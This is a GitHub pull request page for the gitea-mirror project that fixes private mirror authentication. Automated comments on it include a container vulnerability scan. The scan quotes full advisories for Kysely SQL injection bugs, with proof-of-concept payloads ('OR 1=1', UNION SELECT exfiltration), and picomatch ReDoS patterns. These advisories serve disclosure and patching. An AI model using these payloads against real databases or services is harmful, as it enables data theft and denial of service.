Skip to content

fix: private GitHub mirror auth for migrate API#255

Merged
arunavo4 merged 1 commit intomainfrom
codex/fix-issue-254-private-mirror-auth
Mar 27, 2026
Merged

fix: private GitHub mirror auth for migrate API#255
arunavo4 merged 1 commit intomainfrom
codex/fix-issue-254-private-mirror-auth

Conversation

@arunavo4
Copy link
Copy Markdown
Collaborator

Summary

  • Fix private GitHub mirroring auth payload for Gitea/Forgejo migrate API.
  • Replace GitLab-style auth_username: "oauth2" assumption with GitHub-compatible source credentials.
  • Add shared helper to construct private-source auth fields consistently across both mirror code paths.
  • Add unit tests for credential payload selection and validation.

Root Cause

A previous Forgejo 12 compatibility refactor removed credentials from clone URLs (correct), but switched private GitHub source auth to auth_username + auth_token with auth_username="oauth2".
That username pattern is not reliably valid for GitHub HTTPS auth and caused private clone failures (Invalid username or token, could not read Username ... terminal prompts disabled).

What Changed

  • src/lib/gitea.ts
    • mirrorGithubRepoToGitea: use buildGithubSourceAuthPayload(...) for private sources.
    • mirrorGitHubRepoToGiteaOrg: use the same helper for org mirror path.
  • src/lib/utils/mirror-source-auth.ts
    • New helper building auth_username, auth_password, and auth_token from GitHub config/repo context.
  • src/lib/utils/mirror-source-auth.test.ts
    • New tests covering owner/username/repo-owner fallback order, token trimming, and missing token error.

Testing

  • bun test src/lib/utils/mirror-source-auth.test.ts
  • bun test src/lib/gitea.test.ts

Closes #254

@cloudflare-workers-and-pages
Copy link
Copy Markdown

Deploying gitea-mirror-website with  Cloudflare Pages  Cloudflare Pages

Latest commit: df2d9a2
Status: ✅  Deploy successful!
Preview URL: https://1b590109.gitea-mirror-website.pages.dev
Branch Preview URL: https://codex-fix-issue-254-private.gitea-mirror-website.pages.dev

View logs

@arunavo4 arunavo4 merged commit 4f3cbc8 into main Mar 27, 2026
6 checks passed
@arunavo4 arunavo4 deleted the codex/fix-issue-254-private-mirror-auth branch March 27, 2026 08:19
@github-actions
Copy link
Copy Markdown
Contributor

🐳 Docker Image Built Successfully

Your PR image is available for testing:

Image Tag: pr-255
Full Image Path: ghcr.io/raylabshq/gitea-mirror:pr-255

Pull and Test

docker pull ghcr.io/raylabshq/gitea-mirror:pr-255
docker run -d   -p 4321:4321   -e BETTER_AUTH_SECRET=your-secret-here   -e BETTER_AUTH_URL=http://localhost:4321   --name gitea-mirror-test ghcr.io/raylabshq/gitea-mirror:pr-255

Docker Compose Testing

services:
  gitea-mirror:
    image: ghcr.io/raylabshq/gitea-mirror:pr-255
    ports:
      - "4321:4321"
    environment:
      - BETTER_AUTH_SECRET=your-secret-here
      - BETTER_AUTH_URL=http://localhost:4321
      - BETTER_AUTH_TRUSTED_ORIGINS=http://localhost:4321

💡 Note: PR images are tagged as pr-<number> and built for both linux/amd64 and linux/arm64.
Production images (latest, version tags) use the same multi-platform set.


📦 View in GitHub Packages

@github-actions
Copy link
Copy Markdown
Contributor

🔍 Vulnerabilities of gitea-mirror:scan

📦 Image Reference gitea-mirror:scan
digestsha256:ed1d7586dde09d893de32484183f900347f1cb9a14091bb617bba77706b7edcd
vulnerabilitiescritical: 0 high: 6 medium: 0 low: 0
platformlinux/amd64
size297 MB
packages800
📦 Base Image debian:trixie
digestsha256:13f29b6806e531c3ff3b565bb6eed73f2132506c8c9d41bb996065ca20fb27f2
vulnerabilitiescritical: 0 high: 4 medium: 2 low: 24
critical: 0 high: 2 medium: 0 low: 0 kysely 0.28.12 (npm)

pkg:npm/kysely@0.28.12

high 8.1: CVE--2026--33468 Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')

Affected range<=0.28.13
Fixed version0.28.14
CVSS Score8.1
CVSS VectorCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
Description

Summary

Kysely's DefaultQueryCompiler.sanitizeStringLiteral() only escapes single quotes by doubling them (''') but does not escape backslashes. When used with the MySQL dialect (where NO_BACKSLASH_ESCAPES is OFF by default), an attacker can use a backslash to escape the trailing quote of a string literal, breaking out of the string context and injecting arbitrary SQL. This affects any code path that uses ImmediateValueTransformer to inline values — specifically CreateIndexBuilder.where() and CreateViewBuilder.as().

Details

The root cause is in DefaultQueryCompiler.sanitizeStringLiteral():

src/query-compiler/default-query-compiler.ts:1819-1821

protected sanitizeStringLiteral(value: string): string {
  return value.replace(LIT_WRAP_REGEX, "''")
}

Where LIT_WRAP_REGEX is defined as /'/g (line 121). This only doubles single quotes — it does not escape backslash characters.

The function is called from appendStringLiteral() which wraps the sanitized value in single quotes:

src/query-compiler/default-query-compiler.ts:1841-1845

protected appendStringLiteral(value: string): void {
  this.append("'")
  this.append(this.sanitizeStringLiteral(value))
  this.append("'")
}

This is reached when visitValue() encounters an immediate value node (line 525-527), which is created by ImmediateValueTransformer used in CreateIndexBuilder.where():

src/schema/create-index-builder.ts:266-278

where(...args: any[]): any {
  const transformer = new ImmediateValueTransformer()

  return new CreateIndexBuilder({
    ...this.#props,
    node: QueryNode.cloneWithWhere(
      this.#props.node,
      transformer.transformNode(
        parseValueBinaryOperationOrExpression(args),
        this.#props.queryId,
      ),
    ),
  })
}

The MysqlQueryCompiler (at src/dialect/mysql/mysql-query-compiler.ts:6-75) extends DefaultQueryCompiler but does not override sanitizeStringLiteral, inheriting the backslash-unaware implementation.

Exploitation mechanism:

In MySQL with the default NO_BACKSLASH_ESCAPES=OFF setting, the backslash character (\) acts as an escape character inside string literals. Given input \' OR 1=1 --:

  1. sanitizeStringLiteral doubles the quote: \'' OR 1=1 --
  2. appendStringLiteral wraps: '\'' OR 1=1 --'
  3. MySQL interprets \' as an escaped (literal) single quote, so the string content is ' and the second ' closes the string
  4. OR 1=1 -- is parsed as SQL

PoC

import { Kysely, MysqlDialect } from 'kysely'
import { createPool } from 'mysql2'

interface Database {
  orders: {
    id: number
    status: string
    order_nr: string
  }
}

const db = new Kysely<Database>({
  dialect: new MysqlDialect({
    pool: createPool({
      host: 'localhost',
      database: 'test',
      user: 'root',
      password: 'password',
    }),
  }),
})

// Simulates user-controlled input reaching CreateIndexBuilder.where()
const userInput = "\\' OR 1=1 --"

const query = db.schema
  .createIndex('orders_status_index')
  .on('orders')
  .column('status')
  .where('status', '=', userInput)

// Compile to see the generated SQL
const compiled = query.compile()
console.log(compiled.sql)
// Output: create index `orders_status_index` on `orders` (`status`) where `status` = '\'' OR 1=1 --'
//
// MySQL parses this as:
//   WHERE `status` = '\'   ← string literal containing a single quote
//   ' OR 1=1 --'          ← injected SQL (OR 1=1), comment eats trailing quote

To verify against a live MySQL instance:

-- Setup
CREATE DATABASE test;
USE test;
CREATE TABLE orders (id INT PRIMARY KEY, status VARCHAR(50), order_nr VARCHAR(50));
INSERT INTO orders VALUES (1, 'active', '001'), (2, 'cancelled', '002');

-- The compiled query from Kysely with injected payload:
-- This returns all rows instead of filtering by status
SELECT * FROM orders WHERE status = '\'' OR 1=1 -- ';

Impact

  • SQL Injection: An attacker who controls values passed to CreateIndexBuilder.where() or CreateViewBuilder.as() can inject arbitrary SQL statements when the application uses the MySQL dialect.
  • Data Exfiltration: Injected SQL can read arbitrary data from the database using UNION-based or subquery-based techniques.
  • Data Modification/Destruction: Stacked queries or subqueries can modify or delete data.
  • Authentication Bypass: If index creation or view definitions are influenced by user input in application logic, the injection can alter query semantics to bypass access controls.

The attack complexity is rated High (AC:H) because exploitation requires an application to pass untrusted user input into DDL schema builder methods, which is an atypical but not impossible usage pattern. The CreateIndexBuilder.where() docstring (line 247) notes "Parameters are always sent as literals due to database restrictions" without warning about the security implications.

Recommended Fix

MysqlQueryCompiler should override sanitizeStringLiteral to escape backslashes before doubling quotes:

src/dialect/mysql/mysql-query-compiler.ts

const LIT_WRAP_REGEX = /'/g
const BACKSLASH_REGEX = /\\/g

export class MysqlQueryCompiler extends DefaultQueryCompiler {
  // ... existing overrides ...

  protected override sanitizeStringLiteral(value: string): string {
    // Escape backslashes first (\ → \\), then double single quotes (' → '')
    // MySQL treats backslash as an escape character by default (NO_BACKSLASH_ESCAPES=OFF)
    return value.replace(BACKSLASH_REGEX, '\\\\').replace(LIT_WRAP_REGEX, "''")
  }
}

Alternatively, the library could use parameterized queries for these DDL builders where the database supports it, avoiding string literal interpolation entirely. For databases that don't support parameters in DDL statements, the dialect-specific compiler must escape all characters that have special meaning in that dialect's string literal syntax.

high 8.1: CVE--2026--33442 Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')

Affected range>=0.28.12
<=0.28.13
Fixed version0.28.14
CVSS Score8.1
CVSS VectorCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
Description

Summary

The sanitizeStringLiteral method in Kysely's query compiler escapes single quotes (''') but does not escape backslashes. On MySQL with the default BACKSLASH_ESCAPES SQL mode, an attacker can inject a backslash before a single quote to neutralize the escaping, breaking out of the JSON path string literal and injecting arbitrary SQL.

Details

When a user calls .key(value) on a JSON path builder, the value flows through:

  1. JSONPathBuilder.key(key) at src/query-builder/json-path-builder.ts:166 stores the key as a JSONPathLegNode with type 'Member'.

  2. During compilation, DefaultQueryCompiler.visitJSONPath() at src/query-compiler/default-query-compiler.ts:1609 wraps the full path in single quotes ('$...').

  3. DefaultQueryCompiler.visitJSONPathLeg() at src/query-compiler/default-query-compiler.ts:1623 calls sanitizeStringLiteral(node.value) for string values (line 1630).

  4. sanitizeStringLiteral() at src/query-compiler/default-query-compiler.ts:1819-1821 only doubles single quotes:

// src/query-compiler/default-query-compiler.ts:121
const LIT_WRAP_REGEX = /'/g

// src/query-compiler/default-query-compiler.ts:1819-1821
protected sanitizeStringLiteral(value: string): string {
  return value.replace(LIT_WRAP_REGEX, "''")
}

The MysqlQueryCompiler does not override sanitizeStringLiteral — it only overrides sanitizeIdentifier for backtick escaping.

The bypass mechanism:

In MySQL's default BACKSLASH_ESCAPES mode, \' inside a string literal is interpreted as an escaped single quote (not a literal backslash followed by a string terminator). Given the input \' OR 1=1 --:

  1. sanitizeStringLiteral sees the ' and doubles it: \'' OR 1=1 --
  2. The full compiled path becomes: '$.\'' OR 1=1 --'
  3. MySQL parses \' as an escaped quote character (consuming the first ' of the doubled pair)
  4. The second ' now terminates the string literal
  5. OR 1=1 -- is parsed as SQL, achieving injection

The existing test at test/node/src/sql-injection.test.ts:61-83 only tests single-quote injection (first' as ...), which the '' doubling correctly prevents. It does not test the backslash bypass vector.

PoC

import { Kysely, MysqlDialect } from 'kysely'
import { createPool } from 'mysql2'

const db = new Kysely({
  dialect: new MysqlDialect({
    pool: createPool({
      host: 'localhost',
      user: 'root',
      password: 'password',
      database: 'testdb',
    }),
  }),
})

// Setup: create a table with JSON data
await sql`CREATE TABLE IF NOT EXISTS users (
  id INT PRIMARY KEY AUTO_INCREMENT,
  data JSON
)`.execute(db)

await sql`INSERT INTO users (data) VALUES ('{"role":"admin","secret":"s3cret"}')`.execute(db)

// Attack: backslash escape bypass in .key()
// An application that passes user input to .key():
const userInput = "\\' OR 1=1) UNION SELECT data FROM users -- " // as never

const query = db
  .selectFrom('users')
  .select((eb) =>
    eb.ref('data', '->$').key(userInput as never).as('result')
  )

console.log(query.compile().sql)
// Produces: select `data`->'$.\\'' OR 1=1) UNION SELECT data FROM users -- ' as `result` from `users`
// MySQL interprets \' as escaped quote, breaking out of the string literal

const results = await query.execute()
console.log(results) // Returns injected query results

Simplified verification of the bypass mechanics:

const { Kysely, MysqlDialect } = require('kysely')

// Even without executing, the compiled SQL demonstrates the vulnerability:
const compiled = db
  .selectFrom('users')
  .select((eb) =>
    eb.ref('data', '->$').key("\\' OR 1=1 --" as never).as('x')
  )
  .compile()

console.log(compiled.sql)
// select `data`->'$.\'' OR 1=1 --' as `x` from `users`
//                  ^^ MySQL sees this as escaped quote
//                    ^ This quote now terminates the string
//                      ^^^^^^^^^^^ Injected SQL

Note: PostgreSQL is unaffected because standard_conforming_strings=on (default since 9.1) disables backslash escape interpretation. SQLite does not interpret backslash escapes in string literals. Only MySQL (and MariaDB) with the default BACKSLASH_ESCAPES mode are vulnerable.

Impact

  • SQL Injection: An attacker who can control values passed to the .key() JSON path builder API can inject arbitrary SQL into queries executed against MySQL databases.
  • Data Exfiltration: Using UNION-based injection, an attacker can read arbitrary data from any table accessible to the database user.
  • Data Modification/Deletion: If the application's database user has write permissions, stacked queries (when enabled via multipleStatements: true) or subquery-based injection can modify or delete data.
  • Full Database Compromise: Depending on MySQL user privileges, the attacker could potentially execute administrative operations.
  • Scope: Any application using Kysely with MySQL that passes user-controlled input to .key(), .at(), or other JSON path builder methods. While this is a specific API usage pattern (justifying AC:H), it is realistic in applications with dynamic JSON schema access or user-configurable JSON field selection.

Recommended Fix

Escape backslashes in addition to single quotes in sanitizeStringLiteral. This neutralizes the bypass in MySQL's BACKSLASH_ESCAPES mode:

// src/query-compiler/default-query-compiler.ts

// Change the regex to also match backslashes:
const LIT_WRAP_REGEX = /['\\]/g

// Update sanitizeStringLiteral:
protected sanitizeStringLiteral(value: string): string {
  return value.replace(LIT_WRAP_REGEX, (match) => match === '\\' ? '\\\\' : "''")
}

With this fix, the input \' OR 1=1 -- becomes \\'' OR 1=1 --, where MySQL parses \\ as a literal backslash, '' as an escaped quote, and the string literal is never terminated.

Alternatively, the MySQL-specific compiler could override sanitizeStringLiteral to handle backslash escaping only for MySQL, keeping the base implementation unchanged for PostgreSQL and SQLite which don't need it:

// src/dialect/mysql/mysql-query-compiler.ts
protected override sanitizeStringLiteral(value: string): string {
  return value.replace(/['\\]/g, (match) => match === '\\' ? '\\\\' : "''")
}

A corresponding test should be added to test/node/src/sql-injection.test.ts:

it('should not allow SQL injection via backslash escape in $.key JSON paths', async () => {
  const injection = `\\' OR 1=1 -- ` as never

  const query = ctx.db
    .selectFrom('person')
    .select((eb) => eb.ref('first_name', '->$').key(injection).as('x'))

  await ctx.db.executeQuery(query)
  await assertDidNotDropTable(ctx, 'person')
})
critical: 0 high: 1 medium: 0 low: 0 picomatch 4.0.3 (npm)

pkg:npm/picomatch@4.0.3

high 7.5: CVE--2026--33671 Inefficient Regular Expression Complexity

Affected range>=4.0.0
<4.0.4
Fixed version4.0.4
CVSS Score7.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Description

Impact

picomatch is vulnerable to Regular Expression Denial of Service (ReDoS) when processing crafted extglob patterns. Certain patterns using extglob quantifiers such as +() and *(), especially when combined with overlapping alternatives or nested extglobs, are compiled into regular expressions that can exhibit catastrophic backtracking on non-matching input.

Examples of problematic patterns include +(a|aa), +(*|?), +(+(a)), *(+(a)), and +(+(+(a))). In local reproduction, these patterns caused multi-second event-loop blocking with relatively short inputs. For example, +(a|aa) compiled to ^(?:(?=.)(?:a|aa)+)$ and took about 2 seconds to reject a 41-character non-matching input, while nested patterns such as +(+(a)) and *(+(a)) took around 29 seconds to reject a 33-character input on a modern M1 MacBook.

Applications are impacted when they allow untrusted users to supply glob patterns that are passed to picomatch for compilation or matching. In those cases, an attacker can cause excessive CPU consumption and block the Node.js event loop, resulting in a denial of service. Applications that only use trusted, developer-controlled glob patterns are much less likely to be exposed in a security-relevant way.

Patches

This issue is fixed in picomatch 4.0.4, 3.0.2 and 2.3.2.

Users should upgrade to one of these versions or later, depending on their supported release line.

Workarounds

If upgrading is not immediately possible, avoid passing untrusted glob patterns to picomatch.

Possible mitigations include:

  • disable extglob support for untrusted patterns by using noextglob: true
  • reject or sanitize patterns containing nested extglobs or extglob quantifiers such as +() and *()
  • enforce strict allowlists for accepted pattern syntax
  • run matching in an isolated worker or separate process with time and resource limits
  • apply application-level request throttling and input validation for any endpoint that accepts glob patterns

Resources

  • Picomatch repository: https://github.com/micromatch/picomatch
  • lib/parse.js and lib/constants.js are involved in generating the vulnerable regex forms
  • Comparable ReDoS precedent: CVE-2024-4067 (micromatch)
  • Comparable generated-regex precedent: CVE-2024-45296 (path-to-regexp)
critical: 0 high: 1 medium: 0 low: 0 ncurses 6.5+20250216-2 (deb)

pkg:deb/debian/ncurses@6.5%2B20250216-2?os_distro=trixie&os_name=debian&os_version=13

high : CVE--2025--69720

Affected range<=6.5+20250216-2
Fixed versionNot Fixed
EPSS Score0.057%
EPSS Percentile18th percentile
Description

The infocmp command-line tool in ncurses before 6.5-20251213 has a stack-based buffer overflow in analyze_string in progs/infocmp.c.


critical: 0 high: 1 medium: 0 low: 0 nghttp2 1.64.0-1.1 (deb)

pkg:deb/debian/nghttp2@1.64.0-1.1?os_distro=trixie&os_name=debian&os_version=13

high : CVE--2026--27135

Affected range<=1.64.0-1.1
Fixed versionNot Fixed
EPSS Score0.017%
EPSS Percentile4th percentile
Description

nghttp2 is an implementation of the Hypertext Transfer Protocol version 2 in C. Prior to version 1.68.1, the nghttp2 library stops reading the incoming data when user facing public API nghttp2_session_terminate_session or nghttp2_session_terminate_session2 is called by the application. They might be called internally by the library when it detects the situation that is subject to connection error. Due to the missing internal state validation, the library keeps reading the rest of the data after one of those APIs is called. Then receiving a malformed frame that causes FRAME_SIZE_ERROR causes assertion failure. nghttp2 v1.68.1 adds missing state validation to avoid assertion failure. No known workarounds are available.


critical: 0 high: 1 medium: 0 low: 0 picomatch 2.3.1 (npm)

pkg:npm/picomatch@2.3.1

high 7.5: CVE--2026--33671 Inefficient Regular Expression Complexity

Affected range<2.3.2
Fixed version2.3.2
CVSS Score7.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Description

Impact

picomatch is vulnerable to Regular Expression Denial of Service (ReDoS) when processing crafted extglob patterns. Certain patterns using extglob quantifiers such as +() and *(), especially when combined with overlapping alternatives or nested extglobs, are compiled into regular expressions that can exhibit catastrophic backtracking on non-matching input.

Examples of problematic patterns include +(a|aa), +(*|?), +(+(a)), *(+(a)), and +(+(+(a))). In local reproduction, these patterns caused multi-second event-loop blocking with relatively short inputs. For example, +(a|aa) compiled to ^(?:(?=.)(?:a|aa)+)$ and took about 2 seconds to reject a 41-character non-matching input, while nested patterns such as +(+(a)) and *(+(a)) took around 29 seconds to reject a 33-character input on a modern M1 MacBook.

Applications are impacted when they allow untrusted users to supply glob patterns that are passed to picomatch for compilation or matching. In those cases, an attacker can cause excessive CPU consumption and block the Node.js event loop, resulting in a denial of service. Applications that only use trusted, developer-controlled glob patterns are much less likely to be exposed in a security-relevant way.

Patches

This issue is fixed in picomatch 4.0.4, 3.0.2 and 2.3.2.

Users should upgrade to one of these versions or later, depending on their supported release line.

Workarounds

If upgrading is not immediately possible, avoid passing untrusted glob patterns to picomatch.

Possible mitigations include:

  • disable extglob support for untrusted patterns by using noextglob: true
  • reject or sanitize patterns containing nested extglobs or extglob quantifiers such as +() and *()
  • enforce strict allowlists for accepted pattern syntax
  • run matching in an isolated worker or separate process with time and resource limits
  • apply application-level request throttling and input validation for any endpoint that accepts glob patterns

Resources

  • Picomatch repository: https://github.com/micromatch/picomatch
  • lib/parse.js and lib/constants.js are involved in generating the vulnerable regex forms
  • Comparable ReDoS precedent: CVE-2024-4067 (micromatch)
  • Comparable generated-regex precedent: CVE-2024-45296 (path-to-regexp)

@github-actions
Copy link
Copy Markdown
Contributor

Recommended fixes for local gitea-mirror:scan

Base image is debian:trixie

Nametrixie
Digestsha256:13f29b6806e531c3ff3b565bb6eed73f2132506c8c9d41bb996065ca20fb27f2
Vulnerabilitiescritical: 0 high: 4 medium: 2 low: 24
Pushed1 month ago
Size49 MB
Packages111

Refresh base image

Rebuild the image using a newer base image version. Updating this may result in breaking changes.

✅ This image version is up to date.

Change base image

✅ There are no tag recommendations at this time.

@github-actions
Copy link
Copy Markdown
Contributor

Overview

Image reference ghcr.io/raylabshq/gitea-mirror:latest gitea-mirror:scan
- digest 664034540189 ed1d7586dde0
- tag latest scan
- provenance 4f3cbc8 oven-sh/bun@30e609e
- vulnerabilities critical: 0 high: 6 medium: 13 low: 39 critical: 0 high: 6 medium: 13 low: 39
- platform linux/amd64 linux/amd64
- size 257 MB 297 MB (+40 MB)
- packages 800 800
Base Image debian:trixie debian:trixie
- vulnerabilities critical: 0 high: 4 medium: 2 low: 24 critical: 0 high: 4 medium: 2 low: 24
Labels (8 changes)
  • ± 8 changed
-org.opencontainers.image.created=2026-03-27T08:19:55.388Z
+org.opencontainers.image.created=2026-02-26T07:10:54.054Z
-org.opencontainers.image.description=Gitea Mirror auto-syncs GitHub repos to your self-hosted Gitea/Forgejo, with a sleek Web UI and easy Docker deployment.
+org.opencontainers.image.description=Incredibly fast JavaScript runtime, bundler, test runner, and package manager – all in one
-org.opencontainers.image.licenses=AGPL-3.0
+org.opencontainers.image.licenses=NOASSERTION
-org.opencontainers.image.revision=4f3cbc866e37a63c56bf5c7fc349efd0c431932c
+org.opencontainers.image.revision=30e609e08073cf7114bfb278506962a5b19d0677
-org.opencontainers.image.source=https://github.com/RayLabsHQ/gitea-mirror
+org.opencontainers.image.source=https://github.com/oven-sh/bun
-org.opencontainers.image.title=gitea-mirror
+org.opencontainers.image.title=bun
-org.opencontainers.image.url=https://github.com/RayLabsHQ/gitea-mirror
+org.opencontainers.image.url=https://github.com/oven-sh/bun
-org.opencontainers.image.version=latest
+org.opencontainers.image.version=1.3.10-debian

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

Failing to mirror private repositories

1 participant